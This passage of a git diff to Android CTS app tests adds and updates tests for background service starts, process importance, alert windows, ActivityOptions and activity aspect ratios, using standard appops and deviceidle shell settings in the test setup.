+            conn.waitForConnect(WAIT_TIME);
+
+            // Good, now stop the service and give enough time to get off the temp whitelist.
+            mContext.stopService(mServiceIntent);
+            conn.waitForDisconnect(WAIT_TIME);
+            Thread.sleep(3000);
+
+            // Make sure the process is gone so we start over fresh.
+            controller.ensureProcessGone(WAIT_TIME);
+
+            // We don't want to wait for the uid to actually go idle, we can force it now.
+            cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            // Now that we should be off the temp whitelist, make sure we again can't start.
+            br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
+            brCode = br.getReceivedCode();
+            if (brCode != Activity.RESULT_CANCELED) {
+                fail("Didn't fail starting service, result=" + brCode);
+            }
+
+            // Now put app on whitelist, should allow service to run.
+            cmd = "cmd deviceidle whitelist +" + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            // Try starting the service now that the app is whitelisted...  should work!
+            br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
+            brCode = br.getReceivedCode();
+            if (brCode != Activity.RESULT_FIRST_USER) {
+                fail("Failed starting service, result=" + brCode);
+            }
+            conn.waitForConnect(WAIT_TIME);
+
+            // Okay, bring down the service.
+            mContext.stopService(mServiceIntent);
+            conn.waitForDisconnect(WAIT_TIME);
+
+        } finally {
+            mContext.stopService(mServiceIntent);
+            conn.stopMonitoring();
+
+            cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            controller.cleanup();
+        }
+    }
+
+
+    public void testBackgroundCheckActivityService() throws Exception {
+        final Intent activityIntent = new Intent();
+        activityIntent.setClassName(SIMPLE_PACKAGE_NAME,
+                SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY_START_SERVICE);
+
+        final ServiceProcessController controller = new ServiceProcessController(mContext,
+                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses);
+        final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
+                mServiceIntent);
+
+        // First kill the process to start out in a stable state.
+        controller.ensureProcessGone(WAIT_TIME);
+
+        String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We don't want to wait for the uid to actually go idle, we can force it now.
+        cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // Make sure app is not yet on whitelist
+        cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+        // We will use this to monitor when the service is running.
+        conn.startMonitoring();
+
+        try {
+            // Try starting activity that will start the service.  This should be okay.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
+            activityIntent.putExtra("service", mServiceIntent);
+            mContext.startActivity(activityIntent);
+            Intent resultIntent = waiter.doWait(WAIT_TIME);
+            int brCode = resultIntent.getIntExtra("result", Activity.RESULT_CANCELED);
+            if (brCode != Activity.RESULT_FIRST_USER) {
+                fail("Failed starting service, result=" + brCode);
+            }
+            conn.waitForConnect(WAIT_TIME);
+
+            // Okay, bring down the service.
+            mContext.stopService(mServiceIntent);
+            conn.waitForDisconnect(WAIT_TIME);
+
+        } finally {
+            mContext.stopService(mServiceIntent);
+            conn.stopMonitoring();
+
+            cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
+            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+
+            controller.cleanup();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 5b0706b..045301d 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -49,10 +49,12 @@
     private static final String SERVICE_NAME = "android.app.stubs.MockService";
     private static final int WAIT_TIME = 2000;
     // A secondary test activity from another APK.
-    private static final String SIMPLE_PACKAGE_NAME = "com.android.cts.launcherapps.simpleapp";
-    private static final String SIMPLE_ACTIVITY = ".SimpleActivity";
-    private static final String SIMPLE_ACTIVITY_IMMEDIATE_EXIT = ".SimpleActivityImmediateExit";
-    private static final String SIMPLE_ACTIVITY_CHAIN_EXIT = ".SimpleActivityChainExit";
+    static final String SIMPLE_PACKAGE_NAME = "com.android.cts.launcherapps.simpleapp";
+    static final String SIMPLE_ACTIVITY = ".SimpleActivity";
+    static final String SIMPLE_ACTIVITY_IMMEDIATE_EXIT = ".SimpleActivityImmediateExit";
+    static final String SIMPLE_ACTIVITY_CHAIN_EXIT = ".SimpleActivityChainExit";
+    static final String SIMPLE_RECEIVER = ".SimpleReceiver";
+    static final String SIMPLE_REMOTE_RECEIVER = ".SimpleRemoteReceiver";
     // The action sent back by the SIMPLE_APP after a restart.
     private static final String ACTIVITY_LAUNCHED_ACTION =
             "com.android.cts.launchertests.LauncherAppsTests.LAUNCHED_ACTION";
@@ -327,12 +329,18 @@
         for (RunningAppProcessInfo ra : list) {
             if (ra.processName.equals(SYSTEM_PROCESS)) {
                 hasSystemProcess = true;
+
+                // Make sure the importance is a sane value.
+                assertTrue(ra.importance >= RunningAppProcessInfo.IMPORTANCE_FOREGROUND);
+                assertTrue(ra.importance < RunningAppProcessInfo.IMPORTANCE_GONE);
             } else if (ra.processName.equals(TEST_PROCESS)) {
                 hasTestProcess = true;
             }
         }
+
         // For security reasons the system process is not exposed.
-        assertTrue(!hasSystemProcess && hasTestProcess);
+        assertFalse(hasSystemProcess);
+        assertTrue(hasTestProcess);
 
         for (RunningAppProcessInfo ra : list) {
             if (ra.processName.equals("android.app.stubs:remote")) {
@@ -340,13 +348,14 @@
             }
         }
         // start a new process
+        // XXX would be a lot cleaner to bind instead of start.
         mIntent = new Intent("android.app.REMOTESERVICE");
         mIntent.setPackage("android.app.stubs");
         mInstrumentation.getTargetContext().startService(mIntent);
         Thread.sleep(WAITFOR_MSEC);
 
         List<RunningAppProcessInfo> listNew = mActivityManager.getRunningAppProcesses();
-        assertTrue(list.size() <= listNew.size());
+        mInstrumentation.getTargetContext().stopService(mIntent);
 
         for (RunningAppProcessInfo ra : listNew) {
             if (ra.processName.equals("android.app.stubs:remote")) {
@@ -356,6 +365,17 @@
         fail("android.app.stubs:remote process should be available");
     }
 
+    public void testGetMyMemoryState() {
+        final RunningAppProcessInfo ra = new RunningAppProcessInfo();
+        ActivityManager.getMyMemoryState(ra);
+
+        assertEquals(mContext.getApplicationInfo().processName, ra.processName);
+        assertEquals(android.os.Process.myUid(), ra.uid);
+
+        // When an instrumentation test is running, the importance is high.
+        assertEquals(RunningAppProcessInfo.IMPORTANCE_FOREGROUND, ra.importance);
+    }
+
     public void testGetProcessInErrorState() throws Exception {
         List<ActivityManager.ProcessErrorStateInfo> errList = null;
         errList = mActivityManager.getProcessesInErrorState();
@@ -367,7 +387,7 @@
     }
 
     /**
-     * Simple test for {@link ActivityManager.isUserAMonkey()} - verifies its false.
+     * Simple test for {@link ActivityManager#isUserAMonkey()} - verifies its false.
      *
      * TODO: test positive case
      */
@@ -376,7 +396,7 @@
     }
 
     /**
-     * Verify that {@link ActivityManager.isRunningInTestHarness()} is false.
+     * Verify that {@link ActivityManager#isRunningInTestHarness()} is false.
      */
     @RestrictedBuildTest
     public void testIsRunningInTestHarness() {
diff --git a/tests/app/src/android/app/cts/ActivityOptionsTest.java b/tests/app/src/android/app/cts/ActivityOptionsTest.java
new file mode 100644
index 0000000..eab44c5
--- /dev/null
+++ b/tests/app/src/android/app/cts/ActivityOptionsTest.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.ActivityOptions;
+import android.os.Bundle;
+import android.test.AndroidTestCase;
+
+public class ActivityOptionsTest extends AndroidTestCase {
+
+    public void testActivityOptionsBundle_makeBasic() throws Throwable {
+        ActivityOptions options = ActivityOptions.makeBasic();
+        Bundle bundle = options.toBundle();
+
+        assertNotNull(bundle);
+    }
+}
diff --git a/tests/app/src/android/app/cts/AlarmManagerTest.java b/tests/app/src/android/app/cts/AlarmManagerTest.java
index fabedd9..84980b8 100644
--- a/tests/app/src/android/app/cts/AlarmManagerTest.java
+++ b/tests/app/src/android/app/cts/AlarmManagerTest.java
@@ -16,6 +16,7 @@
 
 package android.app.cts;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 
 import android.app.AlarmManager;
 import android.app.AlarmManager.AlarmClockInfo;
@@ -24,13 +25,14 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.cts.util.PollingCheck;
 import android.os.Build;
 import android.os.SystemClock;
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 public class AlarmManagerTest extends AndroidTestCase {
     public static final String MOCKACTION = "android.app.AlarmManagerTest.TEST_ALARMRECEIVER";
     public static final String MOCKACTION2 = "android.app.AlarmManagerTest.TEST_ALARMRECEIVER2";
@@ -288,7 +290,7 @@
     }
 
     public void testSetAlarmClock() throws Exception {
-        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.LOLLIPOP)) {
             mMockAlarmReceiver.setAlarmedFalse();
             mMockAlarmReceiver2.setAlarmedFalse();
 
diff --git a/tests/app/src/android/app/cts/AlertDialogTest.java b/tests/app/src/android/app/cts/AlertDialogTest.java
index e9628a6..b633d46 100644
--- a/tests/app/src/android/app/cts/AlertDialogTest.java
+++ b/tests/app/src/android/app/cts/AlertDialogTest.java
@@ -20,12 +20,13 @@
 import android.app.Instrumentation;
 import android.app.stubs.DialogStubActivity;
 import android.content.DialogInterface;
-import android.cts.util.PollingCheck;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.view.KeyEvent;
 import android.widget.Button;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import android.app.stubs.R;
 /*
  * Test AlertDialog
diff --git a/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java b/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
index 972afe6..f18ffd4 100644
--- a/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
+++ b/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
@@ -25,7 +25,6 @@
 import android.content.DialogInterface;
 import android.content.DialogInterface.OnClickListener;
 import android.content.DialogInterface.OnMultiChoiceClickListener;
-import android.cts.util.PollingCheck;
 import android.database.Cursor;
 import android.database.sqlite.SQLiteCursor;
 import android.database.sqlite.SQLiteDatabase;
@@ -34,6 +33,8 @@
 import android.test.suitebuilder.annotation.MediumTest;
 import android.widget.ListView;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.File;
 
 import static org.mockito.Mockito.*;
diff --git a/tests/app/src/android/app/cts/AlertDialog_BuilderTest.java b/tests/app/src/android/app/cts/AlertDialog_BuilderTest.java
index 710c8d6..f0ff28d 100644
--- a/tests/app/src/android/app/cts/AlertDialog_BuilderTest.java
+++ b/tests/app/src/android/app/cts/AlertDialog_BuilderTest.java
@@ -29,7 +29,6 @@
 import android.content.DialogInterface.OnKeyListener;
 import android.content.DialogInterface.OnMultiChoiceClickListener;
 import android.content.res.TypedArray;
-import android.cts.util.PollingCheck;
 import android.graphics.drawable.Drawable;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.suitebuilder.annotation.SmallTest;
@@ -43,6 +42,8 @@
 import android.widget.ListView;
 import org.mockito.ArgumentCaptor;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import static org.mockito.Mockito.*;
 
 @SmallTest
diff --git a/tests/app/src/android/app/cts/AlertWindowsTests.java b/tests/app/src/android/app/cts/AlertWindowsTests.java
new file mode 100644
index 0000000..e31c53b
--- /dev/null
+++ b/tests/app/src/android/app/cts/AlertWindowsTests.java
@@ -0,0 +1,274 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE;
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE_PRE_26;
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
+import static android.content.Context.BIND_ALLOW_OOM_MANAGEMENT;
+import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Context.BIND_NOT_FOREGROUND;
+
+import static com.android.app2.AlertWindowService.MSG_ADD_ALERT_WINDOW;
+import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_ADDED;
+import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_REMOVED;
+import static com.android.app2.AlertWindowService.MSG_REMOVE_ALERT_WINDOW;
+import static com.android.app2.AlertWindowService.MSG_REMOVE_ALL_ALERT_WINDOWS;
+import static com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.RunningAppProcessInfo;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.app2.AlertWindowService;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+
+/**
+ * Build: mmma -j32 cts/tests/app
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AlertWindowsTests
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class AlertWindowsTests {
+
+    private static final String TAG = "AlertWindowsTests";
+
+    private static final boolean DEBUG = false;
+    private static final long WAIT_TIME_MS = 2 * 1000;
+
+    private static final String SDK25_PACKAGE_NAME = "com.android.appSdk25";
+
+    private Messenger mService;
+    private String mServicePackageName;
+    private int mServiceUid;
+
+    private PackageManager mPm;
+
+    private ActivityManager mAm;
+    private ActivityManager mAm25; // ActivityManager created for an SDK 25 app context.
+
+    private final Messenger mMessenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));
+    private final Object mAddedLock = new Object();
+    private final Object mRemoveLock = new Object();
+
+    @Before
+    public void setUp() throws Exception {
+        if (DEBUG) Log.e(TAG, "setUp");
+        final Context context = InstrumentationRegistry.getTargetContext();
+
+        mPm = context.getPackageManager();
+
+        mAm = context.getSystemService(ActivityManager.class);
+        mAm25 = context.createPackageContext(SDK25_PACKAGE_NAME, 0)
+                .getSystemService(ActivityManager.class);
+
+        final Intent intent = new Intent();
+        intent.setClassName(AlertWindowService.class.getPackage().getName(),
+                AlertWindowService.class.getName());
+        intent.putExtra(NOTIFICATION_MESSENGER_EXTRA, mMessenger);
+        // Needs to be both BIND_NOT_FOREGROUND and BIND_ALLOW_OOM_MANAGEMENT to avoid the binding
+        // to this instrumentation test from increasing its importance.
+        context.bindService(intent, mConnection,
+                BIND_AUTO_CREATE | BIND_NOT_FOREGROUND | BIND_ALLOW_OOM_MANAGEMENT);
+        synchronized (mConnection) {
+            // Wait for alert window service to be connection before processing.
+            mConnection.wait(WAIT_TIME_MS);
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (DEBUG) Log.e(TAG, "tearDown");
+        if (mService != null) {
+            mService.send(Message.obtain(null, MSG_REMOVE_ALL_ALERT_WINDOWS));
+        }
+        final Context context = InstrumentationRegistry.getTargetContext();
+        context.unbindService(mConnection);
+        mAm = null;
+    }
+
+    @Test
+    public void testAlertWindowOomAdj() throws Exception {
+        setAlertWindowPermission(true /* allow */);
+
+
+        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+        // TODO AM.getUidImportance() sometimes return a different value from what
+        // getPackageImportance() returns... b/37950472
+        // assertUidImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+        addAlertWindow();
+        // Process importance should be increased to visible when the service has an alert window.
+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        addAlertWindow();
+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        setAlertWindowPermission(false /* allow */);
+        // Process importance should no longer be visible since its alert windows are not allowed to
+        // be visible.
+        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+        setAlertWindowPermission(true /* allow */);
+        // They can show again so importance should be visible again.
+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        removeAlertWindow();
+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        removeAlertWindow();
+        // Process importance should no longer be visible when the service no longer as alert
+        // windows.
+        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+    }
+
+    private void addAlertWindow() throws Exception {
+        mService.send(Message.obtain(null, MSG_ADD_ALERT_WINDOW));
+        synchronized (mAddedLock) {
+            // Wait for window addition confirmation before proceeding.
+            mAddedLock.wait(WAIT_TIME_MS);
+        }
+    }
+
+    private void removeAlertWindow() throws Exception {
+        mService.send(Message.obtain(null, MSG_REMOVE_ALERT_WINDOW));
+        synchronized (mRemoveLock) {
+            // Wait for window removal confirmation before proceeding.
+            mRemoveLock.wait(WAIT_TIME_MS);
+        }
+    }
+
+    private void setAlertWindowPermission(boolean allow) throws Exception {
+        final String cmd = "appops set " + mServicePackageName
+                + " android:system_alert_window " + (allow ? "allow" : "deny");
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
+    }
+
+    private void assertImportance(Function<ActivityManager, Integer> apiCaller,
+            int expectedForO, int expectedForPreO) throws Exception {
+        final long TIMEOUT = SystemClock.uptimeMillis() + TimeUnit.SECONDS.toMillis(30);
+        int actual;
+
+        do {
+            // TODO: We should try to use ActivityManagerTest.UidImportanceListener here to listen
+            // for changes in the uid importance. However, the way it is currently structured
+            // doesn't really work for this use case right now...
+            Thread.sleep(500);
+            actual = apiCaller.apply(mAm);
+        } while (actual != expectedForO && (SystemClock.uptimeMillis() < TIMEOUT));
+
+        assertEquals(expectedForO, actual);
+
+        // Check the result for pre-O apps.
+        assertEquals(expectedForPreO, (int) apiCaller.apply(mAm25));
+    }
+
+    /**
+     * Make sure {@link ActivityManager#getPackageImportance} returns the expected value.
+     */
+    private void assertPackageImportance(int expectedForO, int expectedForPreO) throws Exception {
+        assertImportance(am -> am.getPackageImportance(mServicePackageName),
+                expectedForO, expectedForPreO);
+    }
+
+    /**
+     * Make sure {@link ActivityManager#getUidImportance(int)} returns the expected value.
+     */
+    private void assertUidImportance(int expectedForO, int expectedForPreO) throws Exception {
+        assertImportance(am -> am.getUidImportance(mServiceUid),
+                expectedForO, expectedForPreO);
+    }
+
+    private final ServiceConnection mConnection = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            if (DEBUG) Log.e(TAG, "onServiceConnected");
+            mService = new Messenger(service);
+            mServicePackageName = name.getPackageName();
+            try {
+                mServiceUid = mPm.getPackageUid(mServicePackageName, 0);
+            } catch (NameNotFoundException e) {
+                throw new RuntimeException("getPackageUid() failed.", e);
+            }
+            synchronized (mConnection) {
+                notifyAll();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            if (DEBUG) Log.e(TAG, "onServiceDisconnected");
+            mService = null;
+            mServicePackageName = null;
+            mServiceUid = 0;
+        }
+    };
+
+    private class IncomingHandler extends Handler {
+
+        IncomingHandler(Looper looper) {
+            super(looper);
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            switch (msg.what) {
+                case MSG_ON_ALERT_WINDOW_ADDED:
+                    synchronized (mAddedLock) {
+                        if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_ADDED");
+                        mAddedLock.notifyAll();
+                    }
+                    break;
+                case MSG_ON_ALERT_WINDOW_REMOVED:
+                    synchronized (mRemoveLock) {
+                        if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_REMOVED");
+                        mRemoveLock.notifyAll();
+                    }
+                    break;
+                default:
+                    super.handleMessage(msg);
+            }
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/AltProcessInstrumentation.java b/tests/app/src/android/app/cts/AltProcessInstrumentation.java
new file mode 100644
index 0000000..59cd11c
--- /dev/null
+++ b/tests/app/src/android/app/cts/AltProcessInstrumentation.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+public class AltProcessInstrumentation extends BaseProcessInstrumentation {
+    public AltProcessInstrumentation() {
+        super(ActivityManagerTest.SIMPLE_PACKAGE_NAME + ":other",
+                ActivityManagerTest.SIMPLE_PACKAGE_NAME
+                        + ActivityManagerTest.SIMPLE_REMOTE_RECEIVER);
+    }
+}
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
new file mode 100644
index 0000000..5bd8cf9
--- /dev/null
+++ b/tests/app/src/android/app/cts/AspectRatioTests.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import com.android.appSdk25.Sdk25MaxAspectRatioActivity;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.app.Activity;
+import android.app.stubs.MaxAspectRatioActivity;
+import android.app.stubs.MaxAspectRatioResizeableActivity;
+import android.app.stubs.MaxAspectRatioUnsetActivity;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.graphics.Point;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.WindowManager;
+
+import static android.content.Context.WINDOW_SERVICE;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+import static android.content.pm.PackageManager.FEATURE_WATCH;
+import static org.junit.Assert.fail;
+
+/**
+ * Build: mmma -j32 cts/tests/app
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AspectRatioTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class AspectRatioTests {
+    private static final String TAG = "AspectRatioTests";
+
+    // The max. aspect ratio the test activities are using.
+    private static final float MAX_ASPECT_RATIO = 1.0f;
+
+    // Max supported aspect ratio for pre-O apps.
+    private static final float MAX_PRE_O_ASPECT_RATIO = 1.86f;
+
+    // The minimum supported device aspect ratio.
+    private static final float MIN_DEVICE_ASPECT_RATIO = 1.333f;
+
+    // The minimum supported device aspect ratio for watches.
+    private static final float MIN_WATCH_DEVICE_ASPECT_RATIO = 1.0f;
+
+    @Rule
+    public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
+            new ActivityTestRule<>(MaxAspectRatioActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    @Rule
+    public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
+            new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    @Rule
+    public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
+            new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    // TODO: Can't use this to start an activity in a different process...sigh.
+    @Rule
+    public ActivityTestRule<Sdk25MaxAspectRatioActivity> mSdk25MaxAspectRatioActivity =
+            new ActivityTestRule<>(Sdk25MaxAspectRatioActivity.class, "com.android.appSdk25",
+                    268435456, false /* initialTouchMode */, false /* launchActivity */);
+
+    private interface AssertAspectRatioCallback {
+        void assertAspectRatio(float actual);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        finishActivity(mMaxAspectRatioActivity);
+        finishActivity(mMaxAspectRatioResizeableActivity);
+        finishActivity(mSdk25MaxAspectRatioActivity);
+        finishActivity(mMaxAspectRatioUnsetActivity);
+    }
+
+    @Test
+    @Presubmit
+    public void testDeviceAspectRatio() throws Exception {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
+        final Display display = wm.getDefaultDisplay();
+        final DisplayMetrics metrics = new DisplayMetrics();
+        display.getRealMetrics(metrics);
+
+        float longSide = Math.max(metrics.widthPixels, metrics.heightPixels);
+        float shortSide = Math.min(metrics.widthPixels, metrics.heightPixels);
+        float deviceAspectRatio = longSide / shortSide;
+        float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
+                ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
+
+        if (deviceAspectRatio < expectedMinAspectRatio) {
+            fail("deviceAspectRatio=" + deviceAspectRatio
+                    + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
+        }
+    }
+
+    @Test
+    @Presubmit
+    public void testMaxAspectRatio() throws Exception {
+        runTest(launchActivity(mMaxAspectRatioActivity),
+                actual -> {
+                    if (MAX_ASPECT_RATIO >= actual) return;
+                    fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+                });
+    }
+
+    @Test
+    // TODO: Currently 10% flaky so not part of pre-submit for now
+    public void testMaxAspectRatioResizeableActivity() throws Exception {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final float expected = getAspectRatio(context);
+
+        // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
+        runTest(launchActivity(mMaxAspectRatioResizeableActivity),
+                actual -> {
+                    if (aspectRatioEqual(expected, actual) || expected < actual) return;
+                    fail("actual=" + actual + " is less than expected=" + expected);
+                });
+    }
+
+    @Test
+    @Presubmit
+    public void testMaxAspectRatioUnsetActivity() throws Exception {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final float expected = getAspectRatio(context);
+
+        // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
+        // the device's
+        runTest(launchActivity(mMaxAspectRatioUnsetActivity),
+                actual -> {
+                    if (aspectRatioEqual(expected, actual) || expected < actual) return;
+                    fail("actual=" + actual + " is less than expected=" + expected);
+                });
+    }
+
+    @Test
+    // TODO(b/35810513): Can't use rule to start an activity in a different process. Need a
+    // different way to make this test happen...host side? Sigh...
